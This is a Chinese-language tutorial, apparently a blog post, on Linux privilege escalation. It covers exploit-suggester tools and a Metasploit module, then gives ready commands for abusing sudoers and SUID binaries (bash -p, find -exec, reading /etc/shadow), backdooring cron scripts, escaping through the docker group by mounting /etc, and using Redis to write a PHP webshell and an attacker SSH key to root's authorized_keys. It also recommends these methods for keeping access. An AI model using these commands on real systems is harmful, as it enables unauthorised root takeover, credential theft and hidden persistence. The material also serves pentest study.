提权——Linux

一、系统漏洞提权

#kali的nmap命令

nmap -O 目标ip

  1. 通过当前系统的内核版本搜索当前系统的漏洞,进行利用 搜索漏洞

  2. 对linux系统的漏洞进行利用(脏牛、脏管道等)

    利用漏洞搜索工具,搜索当前系统是否存在一些漏洞

    1. linux-exploit-suggester-master

      下载地址 :GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool

      解压缩之后,执行他的.sh 文件 ,会把当前系统的所有漏洞搜索出来。

    2. linux-smart-enumeration-master

      下载地址 :GitHub - diego-treitos/linux-smart-enumeration: Linux enumeration tool for pentesting and CTFs with verbosity levels

      解压缩之后,执行他的.sh 文件 ,会把当前系统的所有漏洞搜索出来。

  3. MSF提权辅助工具

    MSF中有一个模块,叫后渗透测试模块(POST),其中这个模块就可以提供提权 。

    进入msf中 ,搜索 suggester

    复制代码
    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > search suggester
    ​
    Matching Modules
    ================
    ​
    #  Name                                      Disclosure Date  Rank    Check  Description
       -  ----                                      ---------------  ----    -----  -----------
       0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester
    ​
    ​
    Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

    利用这个后渗透测试模块,进行搜索 可用的提权漏洞 。

    复制代码
    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > use 0
    msf6 post(multi/recon/local_exploit_suggester) > show options 
    ​
    Module options (post/multi/recon/local_exploit_suggester):
    ​
       Name             Current Setting  Required  Description
       ----             ---------------  --------  -----------
       SESSION                           yes       The session to run this module on
       SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
    ​

    设置session后运行

二、系统配置提权

1、soduer提权

(1)漏洞产生原因

当一个普通用户被创建出来时,在执行某些任务时可能需要执行某些命令的权限,管理员可能为了省去麻烦直接将可以执行所有命令权限赋值给这个普通用户。

且在 /etc/sudoers 文件中设置权限,给普通用户所有权限:

dong ALL=(ALL) NOPASSWD:ALL #设置所有权限

dong ALL=(ALL) NOPASSWD:/usr/bin/firewall-cmd #设置操作防火墙的命令权限,只需要知道该命令所在的位置

(2)利用漏洞

在普通账户操作的时候,可以在命令前加一个 sudo 就可以像root账户一样的操作 。

sudo /etc/shadow

(3)复现

第一步:

查看当前有哪些用户

cat /etc/passwd

创建一个新用户

useradd 新用户名

给新用户设置密码

第二步:

给Sun_happy赋予执行所有命令的权限

在/etc/sudoers中设置

复制代码
chmod u+x sudoers        #这个文件只有root可以写,因此不能使用chmod 777

命令:

复制代码
Sun_happy ALL=(ALL)  NOPASSWD:ALL #设置所有权限

第三步:

在普通账户操作的时候,可以在命令前加一个 sudo 就可以像root账户一样的操作 。

命令:

复制代码
sudo /etc/shadow

从真实情况来看,sudoers提前其实作用不大,且难以实现,但是该方法是一个非常适合维持权限的方法。

2、suid提权

(1)suid工作机制

Linux进程在运行的时候有以下三个UID:

**Real UID:**执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。

也就是不论是root还Sun_happy都是没有区别的

Effective UID(EUID) :进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时 ,进程的EUID会被设置为程序文件属主的UID。

**Set UID:**Set owner User ID up on execution,它允许用户执行的文件以该文件的拥有者的身份运行,也就是说可以越权执行命令。主要设置于 chmod 命令中第user第3位。

(2)bash

分析bash:

如果我们将suid权限设置到bash上,那么不论是谁执行他都算是属主在执行。

操作

#给bash命令加上suid权限

chmod u+s bash

#利用赋予了s权限的bash来使得普通用户浏览管理员才能查看的文件

sudo Sun_happy #转到普通用户

id #查看id

bash -p #将euid改为root

cat /etc/shadow #浏览管理员才能查看的文件

但是这种寄希望于管理员将suid赋予错误的可能性太小,也是只适合修后门维持权限。

(3)检查系统文件s权限

不具危险性的s权限的赋予

linux系统本身 就有一部分指令具有s权限,这些指令不会有安全问题 :

/usr/libexec/pt_chown

/usr/libexec/openssh/ssh-keysign

/usr/bin/gpasswd

/usr/bin/passwd

/usr/bin/crontab

/usr/bin/chsh

/usr/bin/chfn

/usr/bin/newgrp

/usr/bin/chage

/usr/bin/sudo

/usr/sbin/usernetctl

/bin/ping

/bin/ping6

/bin/mount

/bin/su

/bin/umount

/bin/fusermount

/sbin/pam_timestamp_check

/sbin/unix_chkpwd

具有危险性的s权限的赋予(检查系统配置漏洞时重点关注的对象)

chmod u+s /bin/bash $ bash -p

chmod u+s /bin/sh $ sh -p

chmod u+s /bin/env $ env /bin/sh -p

chmod u+s /bin/vi $ vi /etc/shadow

chmod u+s /bin/awk awk '{print 0}' /etc/shadow

chmod u+s /bin/cat $ cat /etc/shadow

chmod u+s /usr/bin/curl $ curl file:///etc/shadow

chmod u+s /bin/find $ find /etc/passwd -exec cat /etc/shadow \;

find /etc/passwd -exec bash -p \;

3、定时器提权

(1)定时器的使用

定时器是我们linux中的一个命令,他可以让我们的命令按照我们设置的时间 去定时运行 :

#定时规则

* * * * *


| | | | |

| | | | +----- 星期中星期几 (0 - 6) (星期天 为0)

| | | +---------- 月份 (1 - 12)

| | +--------------- 一个月中的第几天 (1 - 31)

| +-------------------- 小时 (0 - 23)

+------------------------- 分钟 (0 - 59)

#查看已有的定时任务

crontab -l

#创建定时任务

crontab -e

(2)创建一个执行文件

代码如下:

复制代码
curl http://192.xxx.xxx.xxx/dashboard/phpinfo.php > /dev/null
if [ $? -ne 0 ]; then
    /opt/lampp/lampp start
    echo "检测到lampp没有启动,已经完成启动 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fi

firewall-cmd --list-port | grep 80
if [ $? -ne 0 ]; then
    firewall-cmd --add-port=80/tcp
    echo "检测到80端口没有通过,已经完成添加 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fi

解释:

访问http://192.xxx.xxx.xxx/dashboard/phpinfo.php

(2)创建一个定时器任务

crontab -e

*/1 * * * * /home/Sun_happy/mysite.sh

#检查定时任务是否创建成功

#查看日志

(3)定时任务危险性

对于上面的mysite.sh可执行文件来说,其所含的内容是没有危害的,但是稍作修改就会有很大的危害。

危害代码添加:

#在mysite.sh文件中添加:将s权限赋值给bash

chmod u+s /usr/bin/bash

#检测

#在mysite.sh文件中添加:使普通用户拥有执行所有命令的权限

echo Sun_happy ALL=(ALL:ALL) NOPASSWD:ALL >> /etc/sudoers

#检测

4、docker容器提权

查看是否有docker组 -> 查看当前获取到的普通用户是否在docker组里面 -> 如果在,创建一个容器,并把etc目录挂载到宿主机的etc目录 -> 修改/etc/passwd中的普通用户id为0

例如 :拉取一个centos 容器

docker search centos

docker pull centos

docker images

复制代码
docker run -it --privileged=true -v /etc:/etc [镜像id] /bin/bash
​
docker run -it --privileged=true -v /etc:/etc 5d0da3dc9764 /bin/bash
​
#docker -i 前端交互模式 -t tty终端显示  privileged配置容器内部拥有最高权限,-v挂载,前面的etc是物理机的文件夹,后面的etc是容器内部的文件夹,b8dfe9ade316是镜像id,/bin/bash是容器进入后的shell环境。

此时,容器内部的/etc目录和物理机的一一同步对应的,可选直接echo最加:

复制代码
echo `wugd ALL=(ALL) NOPASSWD:ALL` >> /etc/sudoers

最后,直接用sudoers提权方式提权即可。

三、第三方软件提权(redis)

1、利用持久化文件提权

在redis中,持久化的路径以及持久化文件的名字都可以修改 ,那么可以就可以使用 持久化做webshell .

首先 当前系统需要有web(php、jsp、asp等)环境 。

(1)修改持久化文件路径

#查询当前web环境的路径

复制代码
# /opt/lampp/htdocs/security
​
config set dir /opt/lampp/htdocs/security

(2)修改持久化文件名字

#根据web环境 进行确定文件名

config set dbfilename shell.php

(3)向持久化文件中写入木马

复制代码
set 1 "<?php assert($_POST[1]);?>" ​ #持久化 save

(4)测试

2、利用公钥和私钥登录

(1)生成公钥和私钥

ssh-keygen -t rsa

(2)设置redis的持久化文件的路径和名字

config set dir /root/.ssh # 设置路径 如果当前root下 没有`.ssh` 自己创建一个

config set dbfilename authorized_keys # 设置持久化文件的名字

save

(3)把公钥内容存储到持久化文件中

set 1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ISztK16CwYNbXoeWPtkT/4sxDQsXZ9+wYP3jTb49qS1x2AMedTOsEfK+4toIOk43UcT5PnSpve9Dr2i5qD+QMkQmv+PQ5Uy0MvF602jEol7JqgENuzgIxEdqjHooBIgK7xkRw438bUNQG6qZzhQic7l5AisxOGi9I472x5d9IbDp+W5goK+n2ZRtdX4uUeRBm/V8EAOvWUBQwXfDnu9F3B//gSrgbkTRvX/uOduo3hdRpBVuCmJBwOhS3+AZkEoymuascoQHelKcy5RdF/9sj/It2PhcX0+8ydCV6GTlityHmCZO2H1vnjfj4p6nZEW3xavQrw9g3tmVwRK4nov3 administrator@DESKTOP-MKGGU1P\n\n"

(4)在生成公钥和私钥的windows上登录

相关推荐
大树885 小时前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠5 小时前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
霸道流氓气质5 小时前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
bush45 小时前
嵌入式linux学习记录十四、术语
linux·嵌入式
载数而行5206 小时前
Linux 11 动态监控指令top
linux
小宇宙Zz6 小时前
Maven依赖冲突
java·服务器·maven
Inhand陈工6 小时前
基于台达PLC与映翰通IG502的智慧水产养殖精准投喂与远程运维解决方案
运维·人工智能·物联网·阿里云·信息与通信
酣大智7 小时前
ARP代理--工作原理
运维·网络·arp·arp代理
不会C语言的男孩7 小时前
Linux 系统编程 · 第 8 章:进程基础
linux·c语言
shushangyun_7 小时前
2026年快消品B2B系统推荐:支持终端门店订货、促销政策自动化的工具?
java·运维·网络·数据库·人工智能·spring·自动化